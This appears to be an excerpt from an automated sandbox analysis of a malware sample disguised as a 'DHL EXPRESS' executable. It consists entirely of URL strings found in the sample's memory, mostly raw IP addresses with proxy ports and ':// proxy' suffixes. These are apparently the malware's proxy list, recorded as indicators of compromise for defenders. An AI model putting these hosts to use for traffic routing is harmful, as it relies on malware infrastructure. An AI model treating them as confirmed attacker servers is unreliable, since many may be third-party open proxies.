Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.36:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.58:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.58:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.243.20.186
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.243.20.186://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.243.20.186:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.248.86.237:32650
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.251.236.227:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.251.236.227:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.101.13.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.101.13.110:37902
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.101.13.110:37902://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.101.13.112:37902
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.101.13.112:37902://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.239:38588
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB4B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.239:38588://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.255.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.255.193:6821
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.255.193:6821://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.122.10:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.122.10:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.83.206:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.83.206:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.86.11:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.20.116.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.20.116.86:9000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.20.116.86:9000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.23.229.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.23.229.203:15673
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.23.229.203:15673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.44.255.3
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.44.255.3://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.44.255.3:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.52.241.13:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.52.241.13:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.52.241.18:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.195.42:38242
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.195.42:38242://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.229.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.229.184:2323
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.229.184:2323://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.229.185:64767
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.229.185:64767://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.8.94.17
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.8.94.170:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.8.94.170:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.8.94.170:4145HJ4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.104.70:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.104.70:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.106.94:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.106.94:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.107.145:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.107.145:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.116.114.11:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.116.114.11:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.223.255.109:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.223.255.109:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.229.254.129:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.229.254.129:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.58.185.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.58.185.9:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.58.185.9:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.179.193.146:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.179.193.146:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.106.146.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.106.146.212:6001
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.106.146.212:6001://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.118.1.11
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.118.1.112:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.118.1.112:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.127.163.26
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.127.163.26://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.127.163.26:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.187.77.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.187.77.5://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.187.77.5:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.190.254:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.190.254:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.212.76:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.212.76:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.214.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.214.23:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.214.23:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.214.79:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.214.79:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.115.87:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.115.87:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.61.143:8123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.61.143:8123://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.206.106.192
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.206.106.192://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.206.106.192:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32:8123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32:8123://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.218.123.227
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.218.123.227://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.218.123.227:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.118.36
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.118.36://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.118.36:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.73:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.73:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.73:3129HJ4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.85:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.177.85:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7CD000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.180.149:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.180.149:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.235.172:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.219.235.172:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214:8123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.24.43.214:8123://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.33.5.27:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.33.5.27:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.37.207.8:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.37.207.8:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.189.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.189.184:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.189.184:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.190.150:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.44.190.150:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.78.102.191
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.78.102.191://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.78.102.191:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.80.103.193:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.80.103.193:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.106.184.97:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.106.184.97:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC47F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.108.190.110:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC49A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.108.190.110:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.108.190.38:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.108.190.38:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.111.182
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.111.182.6:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.111.182.6:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.115.157.211:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.115.157.211:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.174.198.95:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.174.198.95:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.24.130.138:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.24.130.138:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.25.254.193:54240
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.25.254.193:54240://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB487000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB46D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.32.51.179:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.32.51.179:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.52.148.10:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.52.148.10:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.54.194.13:53281
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.54.22.74:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.54.22.74:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.55.249.135:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.55.249.135:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.7.11.154:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.7.11.154:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.70.34.22:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.70.34.22:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.95.184.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.95.184.62:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.95.184.62:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.97.76.186:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://200.97.76.186:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.144.20.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.144.20.231:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://201.144.20.231:5678://proxy
